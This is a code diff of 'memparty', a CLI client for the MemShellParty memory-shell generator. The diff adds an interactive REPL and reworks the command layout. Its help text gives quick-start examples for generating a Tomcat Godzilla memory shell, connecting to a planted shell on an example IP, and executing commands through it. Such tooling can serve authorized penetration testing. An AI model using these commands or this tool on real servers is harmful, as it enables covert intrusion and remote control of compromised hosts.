+ program.command("note").description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").option("--remark <text>", 'remark ("" to clear)').option("--category <name>", 'project category ("" to clear; projects only)').action((ref, opts) => {
2758
2908
  const { project, shell } = parseRef(ref);
2759
2909
  if (shell) {
2760
2910
  if (opts.category !== void 0) {
@@ -2769,7 +2919,7 @@ Examples:
2769
2919
  }
2770
2920
  const updated2 = saveShellMeta(project, shell, { remark: opts.remark });
2771
2921
  logOp({
2772
- category: "target",
2922
+ category: "note",
2773
2923
  action: "note",
2774
2924
  targetName: `${project}/${shell}`,
2775
2925
  ok: true,
@@ -2796,7 +2946,7 @@ Examples:
2796
2946
  category: opts.category
2797
2947
  });
2798
2948
  logOp({
2799
- category: "target",
2949
+ category: "note",
2800
2950
  action: "note",
2801
2951
  targetName: project,
2802
2952
  ok: true,
@@ -2807,40 +2957,12 @@ Examples:
2807
2957
  `
2808
2958
  );
2809
2959
  });
2810
- target.command("list").description("List saved projects and their shells").option("--category <name>", "only show projects in this category").option("--json", "output raw JSON").action((opts) => {
2811
- const all = listProjects();
2812
- const names = Object.keys(all).filter(
2813
- (n) => opts.category === void 0 || all[n].category === opts.category
2814
- );
2815
- if (opts.json) {
2816
- const filtered = {};
2817
- for (const n of names) filtered[n] = all[n];
2818
- process.stdout.write(`${JSON.stringify(filtered, null, 2)}
2819
- `);
2820
- return;
2821
- }
2822
- if (names.length === 0) {
2823
- process.stdout.write(`no saved projects (store: ${targetStorePath()})
2824
- `);
2825
- return;
2826
- }
2827
- for (const name of names) {
2828
- const p = all[name];
2829
- const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
2830
- process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
2831
- `);
2832
- for (const [shellName, s] of Object.entries(p.shells)) {
2833
- const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
2834
- process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
2835
- `);
2836
- }
2837
- }
2838
- });
2839
- target.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
2960
+ program.command("list").description("List saved projects and their shells").option("--category <name>", "only show projects in this category").option("--json", "output raw JSON").action(listTargets);
2961
+ program.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
2840
2962
  const { project, shell } = parseRef(ref);
2841
2963
  const removed = shell ? removeShell(project, shell) : removeProject(project);
2842
2964
  logOp({
2843
- category: "target",
2965
+ category: "remove",
2844
2966
  action: "remove",
2845
2967
  targetName: ref,
2846
2968
  ok: removed,
@@ -2886,13 +3008,130 @@ function registerVersionCommand(program) {
2886
3008
  });
2887
3009
  }
2888
3010
 
3011
+ // src/repl.ts
3012
+ import * as readline from "readline";
3013
+ import { CommanderError } from "commander";
3014
+ function tokenize(line) {
3015
+ const tokens = [];
3016
+ let cur = "";
3017
+ let quote = null;
3018
+ let started = false;
3019
+ for (const ch of line) {
3020
+ if (quote !== null) {
3021
+ if (ch === quote) quote = null;
3022
+ else cur += ch;
3023
+ } else if (ch === '"' || ch === "'") {
3024
+ quote = ch;
3025
+ started = true;
3026
+ } else if (/\s/.test(ch)) {
3027
+ if (started || cur.length > 0) {
3028
+ tokens.push(cur);
3029
+ cur = "";
3030
+ started = false;
3031
+ }
3032
+ } else {
3033
+ cur += ch;
3034
+ }
3035
+ }
3036
+ if (started || cur.length > 0) tokens.push(cur);
3037
+ return tokens;
3038
+ }
3039
+ async function startRepl(build) {
3040
+ process.stdout.write(
3041
+ `memparty ${CLI_VERSION} \u2014 interactive mode. Type 'help' for commands, 'exit' to quit.
3042
+ `
3043
+ );
3044
+ const rl = readline.createInterface({
3045
+ input: process.stdin,
3046
+ output: process.stdout,
3047
+ terminal: process.stdin.isTTY === true,
3048
+ historySize: 200
3049
+ });
3050
+ const pending = [];
3051
+ let waiter = null;
3052
+ let closed = false;
3053
+ rl.on("line", (line) => {
3054
+ if (waiter) {
3055
+ const w = waiter;
3056
+ waiter = null;
3057
+ w(line);
3058
+ } else {
3059
+ pending.push(line);
3060
+ }
3061
+ });
3062
+ rl.on("close", () => {
3063
+ closed = true;
3064
+ waiter?.(null);
3065
+ });
3066
+ const isTty = process.stdin.isTTY === true;
3067
+ rl.setPrompt("memparty> ");
3068
+ const ask = () => {
3069
+ if (isTty) rl.prompt();
3070
+ const buffered = pending.shift();
3071
+ if (buffered !== void 0) return Promise.resolve(buffered);
3072
+ if (closed) return Promise.resolve(null);
3073
+ return new Promise((resolve) => {
3074
+ waiter = resolve;
3075
+ });
3076
+ };
3077
+ for (; ; ) {
3078
+ const line = await ask();
3079
+ if (line === null) break;
3080
+ const tokens = tokenize(line);
3081
+ if (tokens.length === 0) continue;
3082
+ const [cmd, ...rest] = tokens;
3083
+ if (cmd === "exit" || cmd === "quit") break;
3084
+ if (cmd === "clear") {
3085
+ process.stdout.write("\x1B[2J\x1B[0f");
3086
+ continue;
3087
+ }
3088
+ if (cmd === "help") {
3089
+ if (rest.length === 0) {
3090
+ build().outputHelp();
3091
+ continue;
3092
+ }
3093
+ tokens.push("--help");
3094
+ }
3095
+ rl.pause();
3096
+ try {
3097
+ await build().parseAsync(["node", "memparty", ...tokens]);
3098
+ } catch (err) {
3099
+ if (err instanceof CommanderError) {
3100
+ } else if (err instanceof ApiError) {
3101
+ reportError(`API error (${err.status || "network"}): ${err.message}`, tokens);
3102
+ } else if (err instanceof Error) {
3103
+ if (err.name === "ExitPromptError") process.stderr.write("\nAborted.\n");
3104
+ else reportError(err.message, tokens);
3105
+ } else {
3106
+ reportError(String(err), tokens);
3107
+ }
3108
+ }
3109
+ process.exitCode = 0;
3110
+ rl.resume();
3111
+ }
3112
+ rl.close();
3113
+ }
3114
+
2889
3115
  // src/cli.ts
2890
3116
  function buildProgram() {
2891
- const program = new Command7();
3117
+ const program = new Command8();
2892
3118
  program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
2893
3119
  "--api <url>",
2894
3120
  `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
2895
- ).option("--timeout <ms>", "request timeout in milliseconds", "30000");
3121
+ ).option("--timeout <ms>", "request timeout in milliseconds", "30000").exitOverride().addHelpText(
3122
+ "after",
3123
+ `
3124
+ Quick start:
3125
+ $ memparty gen # interactive memory-shell wizard
3126
+ $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class
3127
+ $ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value qSGAJScj
3128
+ $ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect
3129
+ $ memparty list # saved targets
3130
+ $ memparty log # recent operations
3131
+
3132
+ Every subcommand has its own examples: memparty <command> --help
3133
+ `
3134
+ );
2896
3135
  registerGenCommand(program);
2897
3136
  registerProbeCommand(program);
2898
3137
  registerConfigCommand(program);
@@ -2906,26 +3145,29 @@ function buildProgram() {
2906
3145
  return program;
2907
3146
  }
2908
3147
  async function main() {
3148
+ if (process.argv.length <= 2 && (process.stdin.isTTY || process.env.MEMPARTY_REPL)) {
3149
+ await startRepl(buildProgram);
3150
+ return;
3151
+ }
2909
3152
  const program = buildProgram();
2910
3153
  try {
2911
3154
  await program.parseAsync(process.argv);
2912
3155
  } catch (err) {
2913
- if (err instanceof ApiError) {
2914
- process.stderr.write(`API error (${err.status || "network"}): ${err.message}
2915
- `);
3156
+ if (err instanceof CommanderError2) {
3157
+ process.exitCode = err.exitCode;
3158
+ } else if (err instanceof ApiError) {
3159
+ reportError(`API error (${err.status || "network"}): ${err.message}`, process.argv);
2916
3160
  process.exitCode = 1;
2917
3161
  } else if (err instanceof Error) {
2918
3162
  if (err.name === "ExitPromptError") {
2919
3163
  process.stderr.write("\nAborted.\n");
2920
3164
  process.exitCode = 130;
2921
3165
  } else {
2922
- process.stderr.write(`Error: ${err.message}
2923
- `);
3166
+ reportError(err.message, process.argv);
2924
3167
  process.exitCode = 1;
2925
3168
  }
2926
3169
  } else {
2927
- process.stderr.write(`Error: ${String(err)}
2928
- `);
3170
+ reportError(String(err), process.argv);
2929
3171
  process.exitCode = 1;
2930
3172
  }
2931
3173
  }